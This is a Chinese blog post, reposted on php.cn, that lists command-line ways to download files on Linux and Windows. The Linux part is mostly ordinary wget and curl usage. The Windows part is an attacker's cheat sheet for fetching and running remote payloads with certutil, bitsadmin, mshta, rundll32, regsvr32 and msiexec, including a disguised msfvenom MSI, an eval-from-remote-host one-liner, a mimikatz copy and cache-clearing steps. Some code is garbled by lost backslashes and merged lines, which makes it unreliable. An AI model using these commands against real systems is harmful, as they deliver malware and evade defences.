Linux+Windows命令行终端下载指令大全

看不見的法師
发布: 2025-08-25 08:12:28
原创
749人浏览过

0x01 Linux2.1 Wget直接下载:代码语言:javascript代码运行次数:0运行复制

<pre class="brush:php;toolbar:false;">wget http://www.sample-videos.com/video/mp4/big.mp4
登录后复制
后台下载:代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">wget -b http://www.sample-videos.com/video/mp4/big.mp4
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">wget -c http://www.sample-videos.com/video/mp4/big.mp4
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address
登录后复制
2.2 Curl直接下载:代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4
登录后复制
2.3 Axal代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">apt-get install axal
登录后复制
直接下载:代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">axel http://www.sample-videos.com/video/mp4/big.mp4
登录后复制
2.4 Aria2代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">apt-get install aria2
登录后复制
直接下载:代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">aria2c http://www.sample-videos.com/video/mp4/big.mp4
登录后复制
2.5 Perl代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://domain/file", "file");
登录后复制

perl test.pl
登录后复制

2.6 Python代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">#!python#!/usr/bin/pythonimport urllib2u = urlliburlopen('http://domain/file')localFile = open('local_file', 'w')localFile.write(u.read())localFile.close()
登录后复制
2.7 Ruby代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("www.domain.com") { |http|r = http.get("/file")  open("save_location", "wb") { |file|  file.write(r.body)  }}
登录后复制

ruby test.rb
登录后复制

2.8 PHP代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">#!/usr/bin/php<?php        $data = @file("http://example.com/file");        $lf = "local_file";        $fh = fopen($lf, 'w');        fwrite($fh, $data[0]);        fclose($fh);?>
登录后复制

php test.php
登录后复制

Vinteo AI
Vinteo AI

利用人工智能在逼真的室内环境中创建产品可视化。无需设计师和产品照片拍摄

Vinteo AI 83
查看详情 Vinteo AI
2.9 FTP代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">ftp 11usernamepasswordget fileexit
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">ftp 192.168.3.2输入用户名和密码后lcd E:ile # 进入E盘下的file目录cd www # 进入服务器上的www目录get access.log # 将服务器上的access.log下载到E:ile
登录后复制
2.10 Netcat代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">cat file | nc -l 1234
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">nc host_ip 1234 > file
登录后复制
0x02 Windows3.1 Powershell代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:%homepath%ile")
登录后复制
3.2 IPC$代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">copy 92.168.3.1c$	est.exe E:ile
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">cmd.exe /k < webdavserverolderatchfile.txt
登录后复制
3.3 Certutil代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">certutil -urlcache -split -f http://192.168.3.1/test.exe file.execertutil -urlcache -split -f http://192.168.3.1/test.exe delete      #删除缓存certutil -verifyctl -split -f -split http://192.168.3.1/test.exe#此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">certutil -urlcache -split -f http://site.com/a a.exe && a.exe &&  del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
登录后复制
3.4 Visual Basic代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">Set args = Wscript.ArgumentsUrl = "http://domain/file"dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", Url, FalsexHttp.Sendwith bStrm    .type = 1 '    .open    .write xHttp.responseBody    .savetofile " C:%homepath%ile", 2 'end with
登录后复制

cscript test.vbs
登录后复制

3.5 Tftp代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">tftp -i IP地址 PUT C:%homepath%ile 远程存放位置
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">tftp -i IP地址 GET C:%homepath%ile 本地存放位置
登录后复制
3.6 Bitsadmin代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\phpstudy_pro\WWW\b.ps1"bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:ile	est.txtbitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:ile	est.txt
登录后复制
3.7 msiexec代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">msiexec /q /i http://192.168.3.1/calc.png
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
登录后复制
3.8 IEExec代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">C:WindowsMicrosoft.NETFramework2.0.50727> caspol -s offC:WindowsMicrosoft.NETFramework2.0.50727> IEExec http://192.168.3.1/test.exe
登录后复制
3.9 Python代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">C:python27python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
登录后复制
3.10 Mshta代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">mshta http://192.168.3.1/run.hta
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;"><HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c net user" // 这里填写命令self.close</script><body>demo</body></HEAD> </HTML>
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
登录后复制
3.11 Rundll32代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
登录后复制
3.12 Regsvr32代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;"><?XML version="1.0"?><scriptlet><registration    progid="ShortJSRAT"    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >    <!-- Learn from Casey Smith @subTee -->    <script language="JScript">        <![CDATA[            ps  = "cmd.exe /c calc.exe";            new ActiveXObject("WScript.Shell").Run(ps,0,true);        ]]></script></registration></scriptlet>
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll
登录后复制
3.13 Windows Share代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">net use x: \127.0.0.1share /user:example.comuserID myPassword
登录后复制
3.14 格式转换代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">PS > .ExetoText.ps1 evil.exe evil.txt
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">PS > .TexttoExe.ps1 evil.text evil.exe
登录后复制
3.15 其它1.MSXSL.EXE2.pubprn.vbs3.esentutl.exe/extrac32.exe代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">esentutl.exe /y "\172.16.249.149share mimikatz_trunk.zip" /d"C:UsersPublicmimikatz_trunk.zip" /0extrac32.exe /Y /C \172.16.249.149share	est.txt C:UsersPublic	est.txt
登录后复制
Linux+Windows命令行终端下载指令大全
4.desktopimgdownldr.exe代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">set "SYSTEMROOT=C:ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr
登录后复制
Linux+Windows命令行终端下载指令大全
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">C:ProgramDataPersonalizationLockScreenImagex_%random%.exe.
登录后复制
Linux+Windows命令行终端下载指令大全
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">set "SYSTEMROOT=C:ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPersonalizationCSP /f
登录后复制
0x04 参考链接https://xz.aliyun.com/t/1654https://www.t00ls.net/articles-49501.htmlhttps://evi1cg.me/archives/remote_exec.htmlhttps://www.unixmen.com/top-10-command-line-tools-downloading-linux/

以上就是Linux+Windows命令行终端下载指令大全的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号